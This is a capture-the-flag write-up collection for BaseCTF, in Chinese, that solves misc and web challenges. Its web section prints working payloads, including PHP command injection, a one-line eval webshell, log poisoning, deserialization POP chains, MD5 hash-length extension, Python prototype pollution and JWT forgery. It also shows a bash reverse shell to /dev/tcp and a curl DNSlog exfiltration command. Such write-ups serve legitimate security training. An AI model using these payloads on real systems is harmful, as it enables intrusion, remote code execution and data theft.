MISC
[Week1] Base
解密base64即可
[Week1] 捂住X只耳
音频分离成左右声道后,将其中一个声道反相,然后再次合并两个声道,听到摩斯密码
FOLLOW YOUR HEART 套上flag头即可
[Week1] 你也喜欢圣物吗
lsb最低位拿到key
解开zip后又有一个伪加密的,改09为00即可,txt底部解base64得到flag
[Week1] 人生苦短,我用Python
考查对python数组的熟悉,得到的py是可以运行的,一步一步检查即可
总长38字符
开头为BaseCTF{
Mp在第11,12位(flag.find(‘Mp’) != 10指的是M应该在flag[10]也就是第11位)
末尾为3x}
末尾为}
总共有4个_
以下划线为分割字符长度为:14_2_6_4_8
12-32(不包括32),每隔4个取一个为lsT_n(12 16 20 24 28)
以emoji猫为分割的前9位为BASECTF{S(此时s还不确定大小写)
flag[-11]的5次方是1024(倒数第11位为4)
flag[-7:-3]倒数第七到倒数第四分别为解密base64为0mPl
flag[::-7]表示从后往前每隔7个取一位,所以先hex解密后逆向s1srC}
}为倒数第一位,然后每隔七位再取
flag[12::11]从第13位开始,隔11为取一位,l r(第13和第24位为l r)
第21到第26位为ascii解密t3r_Th
此时flag为BaseCTF{s1Mpl**s **Tt3r_Th4n_C0mPl3x}
flag[17:20]中的三个字符的加权和等于41378751114180610_Be
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from itertools import producttarget_value = 41378751114180610 base = 20240815 def calculate_sum (flag_substring ): return sum (ord (c) * base ** idx for idx, c in enumerate (flag_substring)) for chars in product(range (32 , 127 ), repeat=3 ): flag_substring = '' .join(chr (c) for c in chars) if calculate_sum(flag_substring) == target_value: print (f"Found matching flag substring: {flag_substring} " ) break 16. flag[0 ]为字母为已知的B[8 ]小写确定第九位s为小写[13 ]为数字第十四位为0 -9 17. 将[13 ]的字符3 为替换为bro确定第十四位为3 ,比较[13 ][15 ]是否为bro 1 确定第十六位为1 18. 用于哈希确认,不用也行
[Week1] 正着看还是反着看呢?
拿到了一个十六进制数据逆序的jpg图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def reverse_hex_and_save_to_file (hex_string, file_name ): hex_bytes = hex_string.split() reversed_bytes = hex_bytes[::-1 ] reversed_hex_string = '' .join(reversed_bytes) byte_data = bytes .fromhex(reversed_hex_string) with open (file_name, 'wb' ) as file: file.write(byte_data) input_hex = ''' xxxxx ''' output_file = "xxx" reverse_hex_and_save_to_file(input_hex, output_file)
恢复后binwalk得到flag.txt
[Week1] 海上遇到了鲨鱼
wireshark打开后直接到导出对象导出flag.php逆序后得到flag
[Week1] 根本进不去啊!
悄悄告诉你: flag 在 flag.basectf.fun
进不去!怎么想都进不去吧?
访问不了就查询下该域名的DNS有没有文字记录信息
[Week1] 倒计时?海报!
一张图差不多得了(
赛事群相册的每一张图都用stegsolve查看不同颜色通道拿到flag内容合并即可
[Week2] ez_crypto
把字符串大小写替换后解密base64得到flag
1 2 3 4 5 6 7 8 9 10 11 import base64def decode (s ): swapped = s.swapcase() decoded = base64.b64decode(swapped) return decoded.decode('utf-8' ) if __name__ == "__main__" : text = "xxxxxxxxx" result = decode(text) print (result)
[Week2] 前辈什么的最喜欢了
拿到base64URL加密的文本,直接放浏览器加载不出来,删掉前缀保留base64字符串,解密后保存为图片,修改宽高后得到flag
[Week2] 黑丝上的flag
stegsolve打开在alpha plane 1处拿到flag
[Week2] 海上又遇了鲨鱼
导出对象FTP-DATA下载flag.zip
在tcp.stream eq 16 拿到密码
[Week2] 二维码1-街头小广告
有纠错,直接扫码可以看到url处get的内容即为flag
[Week2] Base?!
hS5VZPaBjN4IU6G2VFqZqNG-tPrJm64NgMKQuEa3nNIBIFbh0MLBZEpF4LqZn
9LpBjLoRjPqEV6Lo+
question response
Base64? X
Base32? X
XXdecode得到flag
[Week2] 哇!珍德食泥鸭
binwalk看到一堆文件,提取出来发现是word文档,改gif后缀为docx,全选+明显强调后在底部找到flag
[Week2] 反方向的雪
低头看雪?
压缩包密码为6位
jpg图片底部发现反向的zip数据,用[Week1] 正着看还是反着看呢?
的脚本逆序后保存为zip
根据描述说6位密码,爆破出密码为123456,打开全选看到空白根据题目使用SNOW解密 密钥为n0secr3t
[Week2] Aura 酱的旅行日记
本题做操作演示,其他社工题不再写wp
百度识图后得到关键词成都自然博物馆
百度地图搜索后得到位置
BaseCTF{四川省成都市成华区成华大道十里店路88号}
[Week3] 纯鹿人
word打开全选,选择明显强调主题,在图片后面有base64解密得到key:ikunikun
这张图片里面有zip用binwalk分离出来后输入密码得到flag
[Week3] broken.mp4
https://github.com/anthwlock/untrunc
修复mp4后得到flag
WEB
[Week1] A Dark Room
源码处拿到flag
[Week1] upload
先传png一句话然后bp抓包修改后缀即可,flag在/flag
[Week1] md5绕过欸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; }
数组绕过md5即可
payload:
GET:name[]=1&name2[]=1
POST:password[]=2&password2[]=2
[Week1] 喵喵喵´•ﻌ•`
1 2 3 4 5 6 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
命令执行
paylaod: ?DT=system('tac /f*');
[Week1] HTTP 是什么呀
1 2 3 4 5 6 7 GET:basectf=we1c%2500me POST:Base=fl%40g User-Agent : BaseReferer : Basex-forwarded-for : localhostcookie : c00k13=i can't eat it
[Week1] Aura 酱的礼物
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file(__FILE__); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST['pen' ]; if (file_get_contents($pen) !== 'Aura' ){ die('这是 Aura 的礼物,你不是 Aura!' ); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST['challenge' ]; if (strpos($challenge, 'http://jasmineaura.github.io' ) !== 0 ){ die('这不是 Aura 的博客!' ); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, '已经收到Kengwang的礼物啦' ) === false){ die('请去博客里面写下感想哦~' ); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST['gift' ]; include($gift);
payload:pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io.[自己的域名]/&gift=php://filter/convert.base64-encode/resource=flag.php
DNS绑定jasmineaura.github.io.example.com这样一个n级域名到自己公网ip,然后搭一个有"已经收到Kengwang的礼物啦"内容的网页,保证file_get_contents能读到即可
官方wp:@127.0.0.1可读取靶机网页内容
[Week2] 你听不到我的声音
1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
shell_exec无回显,可利用管道符将命令输出结果定向到新文件中
cmd=ls / >1.txt
cmd=cat /f* >1.txt
查看当前目录下的1.txt得到flag
也可以DNSlog外带curl `cat /f*`.[域名]
[Week2] 一起吃豆豆
查看index.js找游戏结束的代码,解密base64得到flag
[Week2] ez_ser
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php highlight_file(__FILE__); error_reporting(0); class re{ public $chu0; public function __toString(){ if(!isset($this->chu0)){ return "I can not believes!"; } $this->chu0->$nononono; } } class web { public $kw; public $dt; public function __wakeup() { echo "lalalla".$this->kw; } public function __destruct() { echo "ALL Done!"; } } class pwn { public $dusk; public $over; public function __get($name) { if($this->dusk != "gods"){ echo "什么,你竟敢不认可?"; } $this->over->getflag(); } } class Misc { public $nothing; public $flag; public function getflag() { eval("system('cat /flag');"); } } class Crypto { public function __wakeup() { echo "happy happy happy!"; } public function getflag() { echo "you are over!"; } } $ser = $_GET['ser']; unserialize($ser); ?>
函数调用链:web类的__wakeup() -> __toString() -> __get() -> Misc类的getflag()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class re{ public $chu0; } class web { public $kw; public $dt; } class pwn { public $dusk; public $over; } class Misc { public $nothing; public $flag; } $web = new web(); $re = new re(); $pwn = new pwn(); $Misc= new Misc(); $web->kw = $re; $re ->chu0 = $pwn; $pwn->dusk = "gods"; $pwn->over = $Misc; echo serialize($web); ?>
payload: ?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
[Week2] RCEisamazingwithspace
过滤空格 ${IFS}代替即可
payload: cmd=tac${IFS}/flag
[Week2] Happy Birthday
文件md5碰撞
https://www.win.tue.nl/hashclash
题目要求上传两个不一样内容的pdf但是md5值相同,用工具生成上传后得到flag
[Week2] Really EZ POP
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class Sink { private $cmd = 'echo 123;' ; public function __toString ( ) { eval ($this ->cmd); } } class Shark { private $word = 'Hello, World!' ; public function __invoke ( ) { echo 'Shark says:' . $this ->word; } } class Sea { public $animal ; public function __get ($name ) { $sea_ani = $this ->animal; echo 'In a deep deep sea, there is a ' . $sea_ani (); } } class Nature { public $sea ; public function __destruct ( ) { echo $this ->sea->see; } } if ($_POST ['nature' ]) { $nature = unserialize ($_POST ['nature' ]); }
函数调用顺序: __destrut() -> __get() -> __invoke()-> __tostring() -> eval()
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Sink { public $cmd ; } class Shark { public $word ; } class Sea { public $animal ; } class Nature { public $sea ; } $Nature = new Nature ();$Sea = new Sea ();$Shark = new Shark ();$Sink = new Sink ();$Nature ->sea=$Sea ;$Sea ->animal=$Shark ;$Shark ->word=$Sink ;$Sink ->cmd="echo `tac /f*`;" ;echo serialize ($Nature );
请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性
根据题目提示所以给cmd和word加上对应格式
public 无标记,长度不变
protected 变量名前加\00*\00
,\00算1个长度,总长+3
private 添加类名,且两个名前都添加标记\00
,长度:类名+变量名+2
payload: nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:15:"echo ``tac /f*``;";}}}}
[Week2] 数学大师
脚本题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsimport reimport timedef get (txt ): m = re.search(r'(\d+)\s*([+\-*/÷×])\s*(\d+)' , txt) n1, op, n2 = m.groups() return int (n1), op, int (n2) def calc (n1, op, n2 ): if op == '+' : return n1 + n2 elif op == '-' : return n1 - n2 elif op == '×' : return n1 * n2 elif op == '÷' : return n1 // n2 def main (): url = 'xxx' s = requests.Session() r = s.get(url) print (r.text) while True : if 'BaseCTF' in r.text: break n1, op, n2 = get(r.text) res = calc(n1, op, n2) print (f'Result: {res} ' ) data = {'answer' : res} r = s.post(url, data=data) print (r.text) time.sleep(1 ) if __name__ == "__main__" : main()
[Week2] 所以你说你懂 MD5?
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php session_start ();highlight_file (__FILE__ );$apple = $_POST ['apple' ];$banana = $_POST ['banana' ];if (!($apple !== $banana && md5 ($apple ) === md5 ($banana ))) { die ('加强难度就不会了?' ); } $apple = (string )$_POST ['appple' ];$banana = (string )$_POST ['bananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) == md5 ((string )$banana ))) { die ('难吗?不难!' ); } $apple = (string )$_POST ['apppple' ];$banana = (string )$_POST ['banananana' ];if (!((string )$apple !== (string )$banana && md5 ((string )$apple ) === md5 ((string )$banana ))) { die ('嘻嘻, 不会了? 没看直播回放?' ); } if (!isset ($_SESSION ['random' ])) { $_SESSION ['random' ] = bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )) . bin2hex (random_bytes (16 )); } $random = $_SESSION ['random' ];echo md5 ($random );echo '<br />' ;$name = $_POST ['name' ] ?? 'user' ;if (substr ($name , -5 ) !== 'admin' ) { die ('不是管理员也来凑热闹?' ); } $md5 = $_POST ['md5' ];if (md5 ($random . $name ) !== $md5 ) { die ('伪造? NO NO NO!' ); } echo "看样子你真的很懂 MD5" ;echo file_get_contents ('/flag' );
分了几个阶段
数组绕过强比较
弱比较,利用两个字符串md5后为0e弱类型为0绕过
md5碰撞,可利用fastcoll生成,这里在网上找了一个
哈希长度拓展攻击
random_bytes(16) 生成 16 字节的随机二进制数据。
bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。
因此:
bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。
代码中一共调用了三次 bin2hex(random_bytes(16))
总长度为:32 字符 × 3 = 96 字符。
payload:
1 apple[]= 1 &banana[]= 2 &appple= s1885207154 a&bananana= s1836677006 a&apppple= psycho%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 W%ADZ %AF %3 C%8 A%13 V%B5 %96 %18 m%A5 %EA2 %81 _%FB %D9 %24 %22 %2 F%8 F%D4D %A27vX %B8 %08 %D7m %2 C%E0 %D4LR %D7 %FBo %10 t%19 %02 %82 %7 D%7 B%2 B%9 Bt%05 %FFl %AE %8 DE%F4 %1 F%84 %3 C%AE %01 %0 F%9 B%12 %D4 %81 %A5J %F9H %0 FyE%2 A%DC %2 B%B1 %B4 %0 F%DEcC %40 %DA29 %8 B%C3 %00 %7 F%8 B_h%C6 %D3 %8 Bd8 %AF %85 %7 C%14 w%06 %C2 %3 AC%BC %0 C%1 B%FD %BB %98 %CE %16 %CE %B7 %B6 %3 A%F3 %99 %B59 %F9 %FF %C2 &banananana= psycho%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 W%ADZ %AF %3 C%8 A%13 V%B5 %96 %18 m%A5 %EA2 %81 _%FB %D9 %A4 %22 %2 F%8 F%D4D %A27vX %B8 %08 %D7m %2 C%E0 %D4LR %D7 %FBo %10 t%19 %02 %02 %7 E%7 B%2 B%9 Bt%05 %FFl %AE %8 DE%F4 %1 F%04 %3 C%AE %01 %0 F%9 B%12 %D4 %81 %A5J %F9H %0 FyE%2 A%DC %2 B%B1 %B4 %0 F%DEc %C3 %40 %DA29 %8 B%C3 %00 %7 F%8 B_h%C6 %D3 %8 Bd8 %AF %85 %7 C%14 w%06 %C2 %3 AC%3 C%0 C%1 B%FD %BB %98 %CE %16 %CE %B7 %B6 %3 A%F3 %9959 %F9 %FF %C2 &name= %80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %03 %00 %00 %00 %00 %00 %00 admin&md5 = b38 c 445 bdd03137 adda73 ebc0 a4 de191
[Week3] 复读机
ssti,有很多过滤,先fuzz一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsimport stringimport timeurl = "xx" printable_chars = string.printable a = "" for char in printable_chars: flag_value = f"BaseCTF{{%{char} %}}" payload = {'flag' : flag_value} response = requests.post(url, data=payload) time.sleep(0.1 ) if "你想干嘛? 杂鱼~ 杂鱼~" in response.text: a += char print (a)
除此还有关键字过滤,考虑使用fenjing来构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from fenjing import exec_cmd_payload, config_payloadimport logginglogging.basicConfig(level = logging.INFO) def waf (s: str ): blacklist = [ "config" , "self" , "g" , "os" , "class" , "length" , "mro" , "base" , "lipsum" ,"builtins" ,"popen" , '"' , "__" , "." , "+" , "{{" ,"*" ,"/" ,"\\" ,":" , ] return all (word not in s for word in blacklist) if __name__ == "__main__" : shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"" ) print (f"{shell_payload=} " )
反弹shell后cat /flag即可
[Week3] 滤个不停
文件包含,过滤很多,考虑包含日志
User-Agent:<?php eval($_GET[1]);?>
POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld
GET:?1=system('tac /flag');
[Week3] 玩原神玩的
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__FILE__ );error_reporting (0 );include 'flag.php' ;if (sizeof ($_POST ['len' ]) == sizeof ($array )) { ys_open ($_GET ['tip' ]); } else { die ("错了!就你还想玩原神?❌❌❌" ); } function ys_open ($tip ) { if ($tip != "我要玩原神" ) { die ("我不管,我要玩原神!😭😭😭" ); } dumpFlag (); } function dumpFlag ( ) { if (!isset ($_POST ['m' ]) || sizeof ($_POST ['m' ]) != 2 ) { die ("可恶的QQ人!😡😡😡" ); } $a = $_POST ['m' ][0 ]; $b = $_POST ['m' ][1 ]; if (empty ($a ) || empty ($b ) || $a != "100%" || $b != "love100%" . md5 ($a )) { die ("某站崩了?肯定是某忽悠干的!😡😡😡" ); } include 'flag.php' ; $flag [] = array (); for ($ii = 0 ;$ii < sizeof ($array );$ii ++) { $flag [$ii ] = md5 (ord ($array [$ii ]) ^ $ii ); } echo json_encode ($flag ); }
首先要爆破下长度,下面是爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $url = 'xxx' ;$success_msg = "</code>我不管,我要玩原神!" ; for ($length = 1 ; $length <= 100 ; $length ++) { $len_param = array_fill (0 , $length , 9 ); $post_data = http_build_query (array ( 'len' => $len_param , )); $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_POST, 1 ); curl_setopt ($ch , CURLOPT_POSTFIELDS, $post_data ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $response = curl_exec ($ch ); if (strpos ($response , $success_msg ) !== false ) { echo "Success with length: $length \n" ; echo $response ; break ; } curl_close ($ch ); } ?>
后续按要求做即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $url = 'xxx' ; $success_msg = "json" ;$correct_length = 45 ;$len_param = array_fill (0 , $correct_length , 9 );$m_param = array ( '100%' , 'love100%' . md5 ('100%' ) ); $tip = '我要玩原神' ;$post_data = http_build_query (array ( 'len' => $len_param , 'm' => $m_param )); $ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, $url . '?tip=' . urlencode ($tip ));curl_setopt ($ch , CURLOPT_POST, 1 );curl_setopt ($ch , CURLOPT_POSTFIELDS, $post_data );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );echo curl_exec ($ch );curl_close ($ch );?>
解密md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $encrypted_flag_json = '["md5_hash1", "md5_hash2", ...]' ; $encrypted_flag = json_decode ($encrypted_flag_json , true );$length = count ($encrypted_flag );function find_original_char ($md5_hash , $index ) { for ($char = 32 ; $char <= 126 ; $char ++) { if (md5 ($char ^ $index ) === $md5_hash ) { return chr ($char ); } } return null ; } $original_flag = '' ;for ($i = 0 ; $i < $length ; $i ++) { $original_char = find_original_char ($encrypted_flag [$i ], $i ); $original_flag .= $original_char ; } echo $original_flag ;?>
[Week3] ez_php_jail
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );error_reporting (0 );include ("hint.html" );$Jail = $_GET ['Jail_by.Happy' ];if ($Jail == null ) die ("Do You Like My Jail?" );function Like_Jail ($var ) { if (preg_match ('/(`|\$|a|c|s|require|include)/i' , $var )) { return false ; } return true ; } if (Like_Jail ($Jail )) { eval ($Jail ); echo "Yes! you escaped from the jail! LOL!" ; } else { echo "You will Jail in your life!" ; } echo "\n" ;?>
下划线用[
绕过,找到姿势https://github.com/NotSurprised/RingZer0-CTF-Writeup/blob/master/JailEscaping/PHP%20Jail/PHP%20Jail%203/PHP%20Jail%203.md
payload: ?Jail[by.Happy=highlight_file(glob("/f*")[0]);
[Week4] flag直接读取不就行了?
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); } echo new $J1ng ($Hong );?>
payload:
GET:?K=DirectoryIterator&W=/secret
POST:J=SplFileObject&H=/secret/f11444g.php
[Week4] 圣钥之战1.0
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) from flask import Flask,requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) def is_json (data ): try : json.loads(data) return True except ValueError: return False class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['GET' , 'POST' ] ) def hello_world (): return open ('/static/index.html' , encoding="utf-8" ).read() @app.route('/read' , methods=['GET' , 'POST' ] ) def Read (): file = open (__file__, encoding="utf-8" ).read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute' , methods=['GET' , 'POST' ] ) def Pollution (): if request.is_json: merge(json.loads(request.data),instance) else : return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=80 )
python原型链污染,merge(json.loads(request.data),instance)
意味着可以向路由/pollute post传入json数据即可污染属性,并且在/read下会执行file = open(__file__, encoding="utf-8").read()
因此我们修改__file__的值为/flag即可读到flag文件
payload数据包:
1 2 3 4 5 6 7 8 9 10 POST /pollute Content-Type : application/json{ "__init__": { "__globals__" : { "__file__": "/flag" } } }
再次访问/read拿到flag
[Week4] No JWT
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__) app.secret_key = '' .join(random.choices(string.ascii_letters + string.digits, k=16 )) @app.route('/login' , methods=['POST' ] ) def login (): data = request.json username = data.get('username' ) password = data.get('password' ) token = jwt.encode({ 'sub' : username, 'role' : 'user' , 'exp' : datetime.datetime.utcnow() + datetime.timedelta(hours=1 ) }, app.secret_key, algorithm='HS256' ) return jsonify({'token' : token}), 200 @app.route('/flag' , methods=['GET' ] ) def flag (): token = request.headers.get('Authorization' ) if token: try : decoded = jwt.decode(token.split(" " )[1 ], options={"verify_signature" : False , "verify_exp" : False }) if decoded.get('role' ) == 'admin' : with open ('/flag' , 'r' ) as f: flag_content = f.read() return jsonify({'flag' : flag_content}), 200 else : return jsonify({'message' : 'Access denied: admin only' }), 403 except FileNotFoundError: return jsonify({'message' : 'Flag file not found' }), 404 except jwt.ExpiredSignatureError: return jsonify({'message' : 'Token has expired' }), 401 except jwt.InvalidTokenError: return jsonify({'message' : 'Invalid token' }), 401 return jsonify({'message' : 'Token is missing' }), 401 if __name__ == '__main__' : app.run(debug=True )
无密钥HS256 JWT
登录拿到token后直接在jwt.io改role为admin再发包到@/flag即可拿到flag
[Fin] 1z_php
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ){ for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); } else { die ("114514到底是啥意思嘞?。?" ); } $shell =$_POST ['shell' ];eval ($shell );?>
第一个用八进制绕过,第二个正则回溯绕过,第三个由于要求要$b要php开头所以用SplFileObject+fgets+伪协议读出flag
1 2 3 4 5 6 7 import requestsdata={"try" :"a" *1000001 +"hacker" } url="http://challenge.basectf.fun:38172/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets" res = requests.post(data=data,url=url) print (res.text)
Back to the future
任意目录跳phpinfo(实际没用)
/robots.txt提示.git泄露
https://github.com/WangYihang/GitHacker
githacker --url http://gz.imxbt.cn:20982/.git/ --output-folder result
查看历史git log
回到添加flag的记录git reset --hard 9d85f10e0192ef630e10d7f876a117db41c30417
这时当前目录生成了flag.txt得到flag